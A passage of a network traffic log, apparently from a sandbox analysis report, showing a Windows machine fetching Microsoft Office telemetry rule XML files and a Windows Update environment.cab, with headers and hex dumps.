T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:23 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c8022c20-501e-00a3-08ae-26c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221123Z-16849878b78qg9mlz11wgn0wcc0000000890000000005myt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:23 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221123Z-16849878b78z2wx67pvzz63kdg000000076g00000000pfg2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:24 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 78a5d0bc-501e-005b-6da6-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221124Z-16849878b78tg5n42kspfr0x4800000008p000000000d2f1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:24 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:24 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:24 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 09de4432-901e-0064-2428-27e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221124Z-17c5cb586f626sn8grcgm1gf80000000074000000000at1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:24 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:24 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:24 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:24 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 89d7e9f4-d01e-0066-46a8-2aea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221124Z-16849878b782d4lwcu6h6gmxnw00000008bg000000007ffd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:24 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:24 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:24 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 601805a2-a01e-000d-7265-2ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221124Z-17c5cb586f6ks725u50g36qts800000000mg00000000mvg3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:24 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:24 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221124Z-16849878b78j5kdg3dndgqw0vg0000000aeg0000000005tg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49734	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:24 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ARuTudAlnsXgzZX&MD=6sYb+Cwm HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-30 22:11:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 8ea92ab5-cdb0-4dd6-ad99-a5b54648c4d9 MS-RequestId: 9de3641d-ee0a-4202-847a-48c69fe761e2 MS-CV: Kq4XyVy4Gk+1O2o1.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 22:11:24 GMT Connection: close Content-Length: 24490
2024-10-30 22:11:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-30 22:11:24 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:25 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: bfc21b6c-401e-0067-2636-2809c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221125Z-15b8d89586fqj7k5h9gbd8vs9800000009rg00000000hmyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:25 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:25 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221125Z-16849878b785dznd7xpawq9gcn0000000a1000000000cf64 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:25 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:25 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: def6a666-601e-0001-6e47-2afaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221125Z-17c5cb586f64v7xsc2ahm8gsgw00000003kg00000000d7m4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:25 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:25 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
